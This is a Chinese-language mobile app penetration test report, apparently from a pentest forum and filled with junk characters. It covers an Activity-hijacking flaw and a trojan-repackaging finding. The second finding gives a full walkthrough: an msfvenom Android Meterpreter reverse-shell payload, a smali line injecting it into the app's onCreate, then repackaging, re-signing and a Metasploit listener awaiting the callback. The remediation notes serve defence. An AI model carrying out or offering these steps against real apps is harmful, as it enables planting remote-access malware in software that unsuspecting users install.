. q# A+ h* Z' F8 l/ _& \ 5 b( P1 o: a6 t0 b: S2 d 2 检测结果                    + _2 I5 j- f) f1 s7 Y. b 1 _( F! }0 p, u N

& Z9 Z& b. t# I+ y2 S- h9 p8 _% e9 ^1 _

; v- I$ s4 F6 m7 X5 x9 g6 } ]" N " S* j& H' ` i3 O 2.1 某某某 ( x( k2 X; t- {0 @' { ) A& }6 x# ?% w& R

( m; s" x/ ^' p! b& u' [3 _ / C* b* h# F) k* }: r

% `+ F t# Y4 {( Q 7 B7 O+ k( V* Q9 e' d/ [- l: P' | 2.1.1检测目标 ' q: J& I# {3 M: [ 8 m4 G0 ?; H! k

* _- C) E7 X: i& c$ c8 p7 ?9 Q, N . r! p6 A' ]2 ]- q. X( X- Z" F

. i8 T: E6 k9 c- u. X & a' Q. s3 G* P+ @ 目标地址: 某某某某某某APP " s& [! K: ]' c( u. S) g- B- }6 S 5 @4 D, ?" r+ S# ]5 Z

% m3 j# B, N% p" v* x 7 h; J6 p" @+ T8 ?! N3 V7 |+ D

/ Y& W+ j. m. i4 @8 a: T I5 M8 i$ m 3 C; D5 n+ F0 L5 r 2.1.2检测结果 # P& p) S3 L/ w+ t6 w, J / g4 ?, c7 ]* r' U

+ N9 n7 l' D J! D . V. o! o! F% @" _# X% w( I }7 A4 y

& r+ m) d' i! U 8 G5 x- n4 u; t/ B 2.1.2.1 1 b8 P* {6 v' ?* U0 o5 { $ c) n+ k& M. X* N& `- P0 h& C

0 D/ |0 [0 b5 e3 B% b 7 j' ~0 d; Q0 t1 @5 v1 q/ R* q

, M% J- ]: x9 Q$ x! ?: | ; ~/ A" v" _# |; q 漏洞链接地址:某某某某某某APP ( w `* C/ C# ^+ P $ o( r* a( V4 o* }

: c/ \+ p! u D7 W- k " d$ ?& L" e& w

$ I) I1 v% P" Y1 p8 v. u, [ d- t/ x1 q& W3 `   & e d4 f! \0 L/ T. l$ J( o. h! [. {: t$ H6 c. s- G/ b: Z ^

A0 x' k6 l( y3 M5 y8 h3 T 0 O0 f6 O9 m" F, [& h

& G! G h( [" F$ F1 I, r# \* S" c 8 T- j/ c; b! {& N% j7 d 漏洞分析及取证: . a- Y. P( n9 r" W * o$ {; }0 @* P4 I

4 G' L% Z1 y+ ], e& f 8 f' z7 \% B* l K# r( K7 ]

- E! Q) V0 A8 ]4 Y) v 0 Q# g W, b6 m! `2 o                  通过androidkiiler反编译,发现app未进行安全加固, Activity com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 8 m! Z3 U) ?' h, O8 b7 G # ^ [/ o! u/ @

) W; n5 t A0 x* @ E0 {3 B. I" R ( ^6 P. h/ S1 f% h; K

^+ C- \. q2 p `9 i a & @0 I+ o* X8 N3 O# A- X      7 z% B( }5 G, z+ r# Y* u6 e1 O2 U; y 8 w( N% [' @ n& K" z0 D

, y7 m5 L) z( A2 J" e3 a% @ Z. \' P# N: `. K' d0 U

% J& n" Z! N. K _2 P1 w * Y: A6 d6 Z2 ~8 G                       . b5 b2 `, E# K5 C# v & o# h1 q( f1 V- J* F

9 d6 Y& K5 w% d# t 9 V( c7 h! u; @4 `

3 w# }7 T( v# N8 D* |! d ( P4 c$ ]9 M; i, k' i, U9 { , `9 a2 p! j! e7 X( m6 z5 M; D- O$ M" x. J7 J

- R# M: h. F N i9 I) ~$ G; G6 R* N; g5 t: i6 J& A9 @8 `

]3 ~! N8 U0 z% n5 j2 o( o R4 F5 p / q: a, T- Y5 o s 0 ^2 @+ \" [' Y4 v

4 P1 ~$ C5 G i" w0 F 5 D5 _' t1 E! v0 K+ b' L

) I y& Y9 e' R8 ]% @& w* ~/ O, P! Z : t7 p9 F6 I* R% s3 N1 m+ H ( u" E( b8 E+ w" A ~( t / q, V9 n: ^: ?+ a

% P4 E$ u* b$ t+ E y8 ]% H3 W% R- p5 N ( [" ~5 s0 R, W3 n# m. n

6 D! O b0 P0 \( Y* v8 ^( q) {: ?5 c1 z+ s 漏洞危害:高 6 w. H3 m! F( x- w, j% m / A4 Q+ Z/ B# ^3 `

0 t& p0 K$ [( e! U, D g' K ' l; x" Y* m7 q B6 _2 m
$ E* v# S3 N7 c6 }: f % ^) c; I7 P( I' a % V l# K& `7 i0 h' g7 V3 N4 K0 O; W$ o# [* P% V L/ Z; Z5 f1 j2 E6 ^! f7 d9 C" A( H# a' e* Q: {- w, q- ?2 S5 J) E9 c, g2 F2 d: n' J# a0 m9 Z& ^1 Q5 h# s1 y& f# u3 s. ~/ W% u+ B" |3 E) b3 W+ m) V9 L( F% H% s3 P. ~" k) B5 ~9 O8 s3 P7 _, E0 L6 k$ w# [% I4 T2 o) F$ D9 A6 [' @. r5 p6 y% q" C" m& r4 T3 z- r; x7 l' y4 S, Z7 u5 b- S' t4 S2 J u2 y3 @1 H4 E' G6 k Z m6 j6 o& c9 G2 Y* W- t) c) L% Q, u+ G! }$ [. C. _- \$ a+ Q1 o3 M* d; C) U; Z7 `) I6 @: l$ Y: J4 r2 H) I" {/ y$ `( Y" ~. _: i8 e- u' e. Y3 ^( e* }" Z8 i$ \& Q, m* p( A- n' h; | D
% s& A, d3 k/ V& a, Y- f5 Y7 H% M# f

3 x; H0 S+ Z2 U" `- @1 a j( X 9 T8 r: } z. N S 严重程度 `2 v5 y0 [* ^ 2 O/ W( c; F H) z y0 s

( V# `5 P( H9 C. U* K7 i( X: X! S8 \ # Q, f0 b. G4 N3 G3 t7 t
* }! j' _. W1 } 3 m, w5 k) J7 J! b

0 S) j V6 d( \! @7 X% I1 v7 T7 h 9 ]% s3 d3 ?2 _0 E9 w8 J$ s& X; ? / G5 w* n# f+ c: w ) {1 O; [$ ]/ C% H) M

3 M# M) l4 H' Q: J8 @) r ; S& d O4 Z8 | _
( L7 b% Q! Y; X- S2 H5 w" W. X0 f8 _ ?2 P- I* @7 v3 |5 q

; d- R8 X" W! ` 0 m0 f4 L5 x9 @7 } 9 Y& h( J' b8 q4 x! t9 p* Y# U( l! ^7 o- E8 {

9 _8 v: B) [3 g1 g2 X; M ( C8 v, `$ P# x5 D( q1 h
( W+ ~0 I1 P; `8 z& r 4 j! }- ~) P1 U0 d

( {. R, P1 u$ {2 G+ F ) r \1 n3 B- J" } . O/ m) ` ^0 D7 P8 S 8 x6 R( h' r1 o8 O5 r, Z2 {

5 K) a: Q9 `: H0 B+ p; @ : e$ a4 ?) v* q# p
1 P9 l( x+ R# C) Q& W" N( W# I. j1 k* @& a$ A6 l n9 p# z

7 g% |9 p: H/ I6 w) ? f! V7 s/ Y" Q: ?0 N7 j! N   ) j, M* j5 I( d1 H* ]/ s! d* A5 G1 l; K- g9 v% V% s; x

- D) F/ L, ?9 e9 y, i8 j ( e+ q R* J9 g, N
, B- ^0 s0 T* S% S4 { i7 x. R( T3 [5 D1 m7 \5 b

8 y8 X b+ r7 K# g. u 1 @% E. ?4 m5 P5 G8 A - U, C% N3 {" K" a4 ], C 0 S! e( Y3 ^6 \2 b* Q2 a: y+ T

, a# o ?" x G9 `% h3 O. _2 b# Y; J4 M2 d- P
- W4 a- C) o" @' c" I# E, i2 o& b; K7 M! u) i

9 z$ a* Y: O/ S5 }( _1 u4 r$ K& O2 y$ Y# ^/ T( Z   % D/ m8 d6 Y1 x6 F j " C+ M' H- n, B) h( ?& Q! K" C

# b: j4 j0 s, w+ k) a6 |, H* J' r- e % p6 M0 R- @3 X) C. u2 O: k
, x+ {& ~; G2 c* u( S4 P6 C% w* p % Y, @4 J9 t: f
- @, @1 f) ~1 `: M" W( m. @2 j& a0 D" u) b; m* [/ }- P; O

$ E0 g5 e$ [) |4 ?& w& d. E' U9 E1 f8 r \( R   ) N* l* y& t# E& F& y8 U - P! c$ d8 T0 ]7 d# V3 S% `

9 E" A" h) R3 \, ^+ D" E; V- w 4 m( @5 A$ i8 m

. P6 b7 I9 o2 I, G1 Q& m: S / A7 P' Z5 z+ @; r 修复方法:在 APP Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 w' W) \! B* n0 R: W7 O - e7 T5 L9 [6 j5 b8 ~; G- L

; A. T' [* l# A: O0 b+ p 6 W. A$ _: O) E) C6 Z1 N

0 S5 m9 Q9 G, @: ] / C3 v% P% ^% n! l: }8 Y           4 E( y$ W9 x% W: U+ L1 T5 k 1 k; N0 H9 s# u, z# X" {

! N9 C' C g4 p5 F6 T+ K! g, h" m) s/ @% r, V! F% Q6 U

1 [ r' \! T% h8 Y6 c6 M7 B6 E. ~# [4 g1 t/ K3 K   " S6 N( R- ]5 r+ N' Q; B& O ) |5 a7 L' ?' E1 {- I7 X

% E2 ^7 F; z" Z3 Q+ y0 s $ ^1 ^! q# \7 C8 ]

0 p: a9 \, A q8 Y1 }5 v/ J9 k* X6 q" I, `0 Q, U: k1 G6 [ 2.1.2.2 . d/ c' `+ O9 O6 R& }1 i, S a1 |

4 B/ `! y* P1 V: ~* { ! ]' d2 m+ h4 ~

. J8 l& m+ q% O2 g0 ?% h $ E6 Q8 l, \0 V/ c 漏洞链接地址:某某某某某某APP 3 {$ r( ~9 h5 Z2 k# Q# }1 Z ! }+ d- ?% f$ M( ]& M( V

, L& _/ P, y8 O6 b , j2 d& D6 Y3 J5 s. M- y

' ^8 N/ U* H1 {4 i6 }: t4 W' }( \1 H* j 漏洞分析及取证: + u$ N4 z6 ~- ?; x- }) R 4 y0 X; s% d! B0 t! i, k7 g

* k0 M) A3 M& ?; M u& ` ) L/ G- R% M/ U4 F2 E$ s% n1 t

/ J5 o1 D8 b9 O + f4 y4 v- Y. ?4 q( }                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 6 F" P) x8 t2 R, p' D' \8 a- T$ m + R. Y9 f+ ?" s7 v7 B5 j

9 n3 e% Z6 M w" j" f D0 L ?2 \9 O

, \6 ]" G5 l0 D - i4 x7 w9 O, |7 B5 D" N3 l Metasploit 生成木马 apk & r# o1 J2 c0 X" i. l* G3 J 0 d, J7 J! P" o7 M

4 l A3 t. A) i7 A* g 5 o- }0 U* P2 D1 y0 O& w

5 I8 v# A" \0 R" a/ p. s " ]0 |, e1 \! X" K msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk % w- Y3 c" j% {7 f% e ~: M/ N Q. n( }% Y

7 M6 A7 a, F' ?0 |' T6 v& K3 {) P ! A! Q* X. g! z7 ~) D W9 n, U

' G1 k9 A: j' V7 ]4 _ N ! a1 S- x- I7 Z7 C7 ^ 反编译目标apk和木马apk 3 O2 U, A3 e( F" Y1 D 2 |6 A$ B+ R0 K) t2 D4 \

& [8 `' g, O7 N: J- Q) J) V 9 I! x: J) Z/ D, X( `0 H/ i

$ M4 E: T5 y/ T1 ], a5 a1 x8 `: h! R7 h$ {: |8 Q1 N apktool d target.apk
+ {7 G; T$ g; z U O3 G 9 x; W& K# q+ K' Y: |5 I apktool d cockhorse.apk
) R8 Y% U+ y" ], C$ \, a- ~9 \ 9 X4 `4 `- B" F; |

/ T9 }/ {9 y! C! u! O- \+ o - _6 O1 d; |4 `# x" F/ P+ j

- S. [2 ]4 M( r( P s/ b # G; A1 A6 O0 P. f2 t 木马 apk 注入目标 apk 3 C+ g* w: M+ y , _( t7 r3 |5 E7 @- j1 Q# p

/ y. a# r1 @$ H3 s , S" E1 W3 r! O9 @4 \. r% C! J7 S0 I

$ \; H7 X0 A) `/ q) M# v ~. a9 D# E* t, S$ m9 m9 P. H 在目标 apk 反编译生成的文件中找到启动 Activity smali 文件,并在 onCreate()方法中添加如下代码:
& m$ F+ X2 ~; ~0 }1 |! r9 Z8 T; K- g% t K invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
- n( t V! q% m% J" X # o6 _* ^0 ?' |; z5 Y; q. l

9 ^: M) L' H, \0 ^& [: }% t4 ] ( s4 `' t0 t" W% H9 i% o

. m1 B' A/ ~' E1 g ' z$ |: I3 [2 F3 X 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 $ |: S3 L3 [5 L% n9 {" L & D! g. S7 H. S$ I8 j: |1 z& F

8 d# f- m4 V+ a7 e9 E0 n( j " {* N3 L; C5 z. `

, j! m9 d0 g" g2 q5 f * t& k6 ^% E6 d; v7 Q! A4 s1 {5 B 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ ; ?1 u0 Z& w9 u7 @! V 0 ^/ S( K( N; V* I! j4 D0 b( u9 f

) y. A* ? C ~4 |0 z+ |, ^8 e. I/ Y; o6 L

! H+ e P, e; K* L2 Y8 Q9 O ! z' M6 O z( s0 ] |8 ?- l 回编译生成最终 apk / X9 k, i8 w8 c # G: O" V* K% Y; {

1 K7 M" P) ], Y7 Z 2 y5 a3 P: ]2 s; F

+ N2 ?2 @* d0 ~1 w) `* I2 o! U( ~ 重新打包 ; O( P1 w1 F$ B% o ; v; _. `, n, e1 k+ u6 }& m

) q0 ?, L1 H" d8 g4 w( [+ K4 m; g' \0 F! w& w9 _1 `8 L

% r$ Q6 K7 Z6 _9 V: v4 e+ d 6 t3 j; s, S; G apktool b -o repackage.apk target_app_floder * y" C R$ G5 t* H5 j * ?/ X+ n' o) b7 ?' C# H2 ]

: B: F! {$ b$ n7 H2 o / d& j0 A% [% @; e" N

% e) t4 ?3 B6 x , x5 U) O! Q% g" X) f* s6 n+ x$ L 创建签名文件,有的话可忽略此步骤 6 T" R: }6 U) ^, B7 M- s% x 0 S; i2 k8 K& X" E

" s, W3 }& M8 @* C0 m* h2 M 9 F5 c, c; F1 m4 p7 f" P

0 M, c0 K5 Q% r0 v' c( A6 Z M: z( {5 ?6 N7 y9 K' I keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                . r" O4 w4 |% Y l1 L $ J" E0 s. n. u/ k2 a8 ?- f

& F/ z& D8 L1 t% Z, @2 ~5 @, t$ q- h! u8 G# L4 s

9 z& P) _: \ t 5 U! ?/ L4 W+ x/ m9 q- X( e$ U 签名,以下任选其一 0 t |1 [4 G/ a+ _6 C* h L ' Q l& C2 A7 E P' u3 b

9 H4 @% v& s- {0 N: v% ^ : x- a9 Y6 f E6 `4 i

" l) o' f0 `/ R0 g' Q ]. o% I/ H5 m jarsigner 方式 + K$ f( F& [/ x; N9 g) g8 e9 X * {: D4 g1 v/ {! T3 h5 I1 K

- y8 [* y" k9 S 8 k3 Z3 Z. i2 l) R9 v" Q' p1 \

2 z1 C( ]) m* A7 R6 { Y 9 o- q/ ?( K2 D, v8 O. {, L jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 7 ~: v2 ~% a+ ^ . R8 b4 z% a# N- Q c

% l. M3 u- Y( Z1 ~4 w ; `2 T1 ]/ n! a

9 _ a' }: G/ Y1 h9 \: y& w1 o3 W/ t& h' Z, Y1 [# e apksigner 方式 1 K5 {6 i" p7 N) t. y# ]- O. m( e, t P- Z& j# l% r5 E

" U& `' p% g1 e 2 |! k: v& d0 y7 P. v% F9 l) U" Y

4 s7 `" V' g7 K, V& Z( O$ b# F y; Z6 c2 ~9 }5 t apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk ) q- _3 o6 g7 z G. { / k" [; x t R/ @" A& p6 C

$ o7 K' ^ T$ U' k; C% } 9 O# }* q8 ?( T8 J) J0 K2 m

/ c2 h) I+ T6 S5 \; c8 P / b7 t5 R. E! M: B- T$ x( f! e 如需要禁用 v2签名 添加选项--v2-signing-enabled false 7 v5 G& F! i- A y4 r9 w8 c ) w9 T$ o+ g$ K6 I8 {- {. P. x- ~

% l9 `, [( w, Q+ s3 _$ G) @3 R $ Q! d7 T, n. `& t+ u2 j

0 K B! a$ J' J2 o3 V9 d) l 6 v1 R; k# |. A. V# s9 H( _4 T 验证,以下任选其一 & @4 i/ J0 K K* N5 k- e2 I , y$ \7 ^5 H5 y

# t+ T; N& R7 Y' b+ } ( q2 n9 N3 `/ y( {5 X" v

- R9 ?3 L5 Y4 \5 w- X$ ~' W$ E" R3 Q8 c 6 e6 o# I# [; v jarsigner方式 $ w0 K2 Z+ u% s# \- r * E- F! b' |4 c

4 d3 A1 @% }8 H/ [' F8 Z 4 A! Z$ Z8 b7 e1 X+ @6 n

; W2 ?2 M9 Z H. p# h + I/ S) T! N- @# q5 u# A& s# e jarsigner -verify repackaged.apk - v8 E" \% G" k 3 r' _) q, b1 p5 |2 h0 W

8 Q; `5 o; N( _$ Q% c% F 5 \( C5 ^5 u$ V& Y# {" z" S; i+ ^

* w5 B% j8 a/ B! M( e' N$ i2 k) b' E- u A" [ p apksigner 方式 ; }8 G+ X9 \. e% E# n+ I [/ z5 q; G: Y

2 F4 z& X( j2 E/ r3 T 7 P# {' H$ k+ M% T, k+ E. \

% `" F3 n8 y2 W7 m3 b5 f 0 N U; k4 r! D# \! O apksigner verify -v --print-certs repackaged.apk ! r/ E- [6 i9 t& n: d* y: p1 z% X 7 J& [" v K. y0 k, [+ C

2 h5 r& n7 m; c& P; H 6 b- H5 ]& s% _ I, Y" [

6 t9 C* O9 u+ c- _6 Y1 y7 ? 8 b/ E8 H5 [: t$ _% R keytool方式 0 \, X! E) I. S$ b! ~- Y # Z/ l, q: R0 s4 l; F/ _+ m+ g

- ~* Q+ |! t: Y. c8 j. j6 ? 0 k: j0 y, ^8 q6 V) `: ^7 h @

5 g4 ]0 ?# U# W3 e% i: J) y . ?* J( E! u% i. V6 t6 l; K: s keytool -printcert -jarfile repackaged.apk : d5 R$ M' c F # |- V9 V& _3 x7 M3 Q$ y/ L

4 f% X0 J: h, o" D) Q2 E % N7 @# T3 F5 U/ V

- G' |" T; M% T5 ~- z" Y M# k8 E8 S3 |+ D" t% I P A 对齐 - _1 M9 F, e" a" b- R1 ]2 s; I! o- j2 \5 \- L# `. t& K

' f$ V6 f( ?9 D7 I& x, G) G2 f7 @* E' Z, D; x/ a

H2 X9 y5 z$ V 7 E5 g0 w8 u) x, q 字节对齐优化 * j# p- z, V0 k& ~$ n ], a 3 E( F, e* @2 X4 ]: Z* ^; f

% t( b% Y1 ]# J4 J. U 9 L( D5 z: o1 w- @( c7 `

" |, H# Q; X" b7 ]" f& ~8 O' @ % C# z+ f$ }& ~, x+ `8 C zipalign -v 4 repackaged.apk final.apk . f6 L2 s8 P0 L Z2 V ; d7 R9 |# H- Q$ Z7 S0 \% G: }8 ~

1 x( T! P( t! x$ u9 r/ k% o 8 S' B1 i$ u, U8 n4 [1 O, n

4 T0 B0 M5 j9 x4 d: S" c4 v$ x: Y % Z8 {, x& [2 C# f$ l) x! ~. p; @1 ^ 检查是否对齐 0 {1 p+ H$ W: ]9 O 0 J. M( b5 Y1 o& e

" |) c, g& t* G3 Z0 U$ t 5 I- l3 F1 [# b, M( Z2 i- H

# v5 p+ f( c4 i5 F 6 |0 }9 `' k! q zipalign -c -v 4 final.apk / P3 ?0 A/ ` v' {" \+ W2 I w8 f: [& ~; }7 N0 i4 k

4 f" x: R& w, ]' I9 e/ P0 [ W" }! d- R& m: ]2 I: u

& v/ }$ X% i0 n3 c. F) o 6 q e6 D! x, m 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 5 U- N9 p0 e* k, J3 w , i0 A; |6 m& w0 `

2 i0 a! q4 Z( d. R+ a- C- n - ?8 ?4 P; `- p6 }

8 z8 V1 E/ O0 k% T3 v% y / W7 b, M. k" S8 C1 F. Y 启动Metasploit控制台,配置参数等待上线 ) k1 W% \0 ~" f$ F % y8 A; K) I' ]2 L+ E

+ y* ^+ A* U7 d: O4 i. k6 |" { # ~* @* X) r; c4 X- N- a& i3 b. a

* E& N. p M+ `! l : @0 \) i9 l) d 在终端依次输入如下命令 % z; G; n( g8 M1 T2 h) } 4 I7 T1 L& ], z: P& h! m

: ^# @2 |7 {) a3 v - R/ K9 T, q7 G) L9 M" [& T

& Z' @( F g' C' Z! O( M3 y- x+ b / e' B/ F) ~4 A. ~8 | msfconsole X0 Y% S' ]. m. g, @0 ?" O , K4 O" e) h: @! w) Q( c' |

" E' ]4 ^( |' T+ A/ I9 d; B% S( w, ^& x- q* m: Y0 k m9 w% m

2 E3 Q, G7 Q% c8 c$ |# x0 | g: a , [5 ]; d9 Y4 f+ v( l) Y- h use exploit/multi/handler % R+ I8 T$ j; _ 5 T J$ W6 T/ P

9 N) r9 S. A. n' ?. [ d E) u- I # L8 C+ N4 H. S& V5 w4 F* z

' r9 H* g8 E1 P/ k/ L1 T* a; @ " L, T G1 }/ m0 f0 c& F4 W; ~ set PAYLOAD android/meterpreter/reverse_tcp - |& H% A& K& b! k# H( k3 i( z) |' C6 S0 u N u0 V v8 q5 [; _

. C% P0 j* Q' P" Y; M" c. p# i0 T( y% I# U+ C

! C; F5 S$ W- V6 G* V1 ^# P 3 H+ |! \8 \4 Z' t( e2 A0 l4 O! m2 U set LHOST 192.xxx.xx.xx 5 u4 R& c, @* J' s7 u* v# X! ]' S& U0 @2 R1 g; r3 S

1 K2 }* j. t' t3 G* ]7 U s, F8 k) a0 f7 o% ~

% q, x+ h" O- w* }3 r 3 ~. P# a$ u9 h/ X1 R set LPORT 4444 ' v& O- A" U! Z9 p7 V+ \% f, U; l* q6 r3 i8 u

1 T' C& T& [* {3 z B& v ; \9 J* ~/ x% a; \, R: b. F' \

7 @. Y. O9 O0 g( E+ p / O" _) \+ U2 o# m8 K8 j exploit / U" o2 d# R8 q- Z) _# c9 D4 g! [+ f 1 N6 V8 c9 r% K

3 m' |& W. G2 o6 {- n8 E) r$ B A3 v8 g% _ b$ k

+ F3 a/ L# e4 } h" h+ S3 ` & Z, m& s, b, U* b3 Z2 D2 Q0 a6 g" \ 之前我们把入口放在 MainActivity onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               ! T9 m4 t4 _- G& ?8 a- t* D$ P2 H4 q6 C5 i5 s- t) K+ }, z

% C) ? Q. @" A7 b% }$ T , \ k3 @4 u& ]

, |* _( N5 v! F 8 a+ P0 D* X/ W# H, \ 漏洞危害:中 + c7 C9 F+ Y$ ~$ H# I0 d . {0 m1 a5 ?; | k9 p* V/ O

1 H0 i' s# H4 e. k& ]1 C- G3 x $ y8 g8 B' M- p* K- Z
" m+ A$ C P/ f9 n, w 0 {2 n7 U8 k! j5 s1 q, V. V, Q 9 W% ~1 D% f+ ]/ h. V 4 M# z+ ]+ S$ j" f+ O% I " K. {" F$ ?2 A' D- I6 ^, f! k7 ~0 [9 M3 t a) n; T6 B7 a0 M0 d$ N A2 i Z4 D; R( X0 ]# v0 J9 P% K* c2 m7 \6 R2 [4 j1 C( ~# ~0 @0 S' y! k8 ~. ^3 [0 A9 }: D) n( \" F0 q; B1 m7 I* p9 G# D c# Z! N1 l% Q" m- i1 X, W+ C+ _* M# u2 d' n# l# N1 O" k3 F7 I4 I$ r1 i% d/ C" ^+ g9 Y# H& j$ d& V2 k1 R {7 |- ^9 w/ L/ H+ n/ r, q0 E6 B, j1 ^/ z6 p5 i3 p* P& I8 _: a7 i# u5 F% G$ y1 W8 u- O! S7 t' w/ z$ T% L5 }2 \5 J Z( {7 f7 }8 @5 P0 w6 [+ I! @( [7 M- E I- t& x* d9 p- D4 \( j4 [" S' f! d/ |/ u# Q' Q5 c. }, M5 z1 s6 W. P. b) ^4 E/ m. k% E( N: Y+ q' s! z
% h! |# S2 Z" y4 \7 N ; |- _$ ]& H3 l% k( l8 W l V' s

$ U8 g0 q0 a4 |9 W9 h0 M7 R: | _4 P2 j6 V: \ {: S9 U, H5 p 严重程度 " |8 A. B+ p' j* p- G ' M+ C4 m; Y( g! A L

9 w$ \; Z$ g* t 7 T) o( Z; z7 O9 }
5 `+ p+ q3 n* s# o0 J 5 \; Y# g7 l! [8 z) j, u1 C

+ O8 t" E$ b% C7 o/ t. r ; ~! w2 a# h) Q5 P& g; h6 l 9 l# N* m" {, a) q, Y$ B5 i9 x: z

7 \: x' P7 |0 r& c$ t) F, |% w) S. K% g3 ~8 k, R( h
4 z) d2 A6 \* q3 ?9 a2 E A! o1 `5 Q4 d

; `8 |6 y1 C2 E$ G m0 S; B( f 7 F% |6 Z7 L* j- c/ U ( Q$ q! V! l3 J+ e L 2 u( N: l6 g% f$ s/ F

( I- Y J) P- g! B * A" N: g0 E& W& C4 Q/ @5 f
, N1 q& v4 }4 `* {0 u( ?! W. C6 ` & k5 Y; r$ s8 \, _$ O' Y. y

" O8 e1 T' K( S" t& x# H# u0 k( R: v4 P9 o e 0 M5 `) E! X1 a8 e9 a& G) Y( [; I( h, f* ^4 r0 a5 t$ Z3 d% k2 A

& w# \) t4 k6 `0 B5 f. k: B5 |: p0 V: h
3 V" ?5 H4 K3 ^" c' d + x5 Z3 V: _7 \7 V4 D! A' ^* z: n 0 `& ^# w; ~" H) y3 k8 P2 b ( `) k2 L3 R3 b1 g; _

. X# z- f; v: J' {7 \" B 5 N0 @: x' J( O# b   + Y% c$ S1 A0 }5 f8 a0 r 2 J( ~3 G( }$ _1 X. e" `

9 h" N, S/ }3 ?4 \; u ; H3 P& q' J( j" N2 v
2 B7 Z* W' }# f6 W' \ 2 I) y K! L, `7 s) g( m

0 \4 g; p v& O; Z ) z5 m* k- K2 Y" Y. f. t* ~) ~( N 8 R' E- k+ } r2 k; P & P3 r2 S. w" g5 ^' ~7 ?' S6 _

2 H; r- h/ W- H5 S; o2 ]) f- ^3 L! U6 b- c# u$ U! ]! G
6 L0 o2 f/ O+ T, U% f* O/ b , q. W- m3 D7 F- A% r y6 Z ; N6 T) m/ T" n' |* m5 g! y" U v/ `& P3 o# J

$ p F" H. X- G. I3 Q8 } M, O- M; e/ s$ o8 g) O   % b9 j6 S" _9 H( a; U + }7 w4 R# [/ l0 {0 {; S

$ g' O( r t* o) T A" H( l# x, P: G. {* v. `5 H( w3 k. y7 z3 ~
- w# j8 E( o& Q# @) t 8 s- i, O d! c: r U: V2 X1 ^
4 P U0 H9 `. A! U" n1 Z/ ?# |9 c3 |; o3 d. g1 Z& B7 L

6 a5 ]- {+ `: G% r4 M+ @% y9 `% J8 [; y- N) ]$ F   $ x0 t% N/ P/ t9 }9 H. X / b$ i) B' @/ d. B+ o1 `6 _1 y

6 ~3 O: g) T; x* Z 7 W1 z$ g+ B% d( ~! q

) h) x6 {7 H. ^! s7 }1 P2 |9 h) N % f3 l4 @ P- y; d9 ? 修复方法: ( _0 ~/ Z7 ]$ K9 _& v 1 Q. ^% n5 ]- X- {- {" `

! E2 Q8 U" q+ s: k; d3 } ' f+ ~: I! Q! R1 \/ Q% W `9 c

) a9 n* l4 h2 E$ U / @8 n( R- S+ r6 Q# @               1. APP 启动时应做签名校验防止二次打包。
0 a, M$ Q6 s4 W0 j# j& p5 }! D & x% m# a2 E3 v: A7 L' ] 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 - ~$ [: z, j: T2 o1 ? " }4 x: B+ t3 t# V7 p8 [& D# M2 A

% D# b0 I# N" q' _4 C" m4 X7 r H. h/ e 3 {9 R9 I/ p* A& J7 U- x" u 1 l1 m! k, @; m3 o; y; j7 V

& T8 U' y7 i$ v2 T& B+ m# T. e. x v! l! V   ' d0 i* O0 L; \% A& b8 B & `4 o2 @* o7 ~2 V/ q3 t

( S6 P. t* D; a% S; l& o/ p; ~+ ] + O8 @3 B+ m8 t2 H l' t! Q$ X) I2 ?7 w, t$ W0 O$ ~6 c7 ?$ C0 q3 v

# S, ]) g* W; F& @, k3 c 7 F2 f* E& L. e+ ~0 I
, n# Q* V2 O$ I# G# X2 n1 j " N! G s/ e/ M$ e) k0 T

3 Z, x9 l) C+ Z7 R$ { , T4 h+ W: `8 z0 T$ f





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2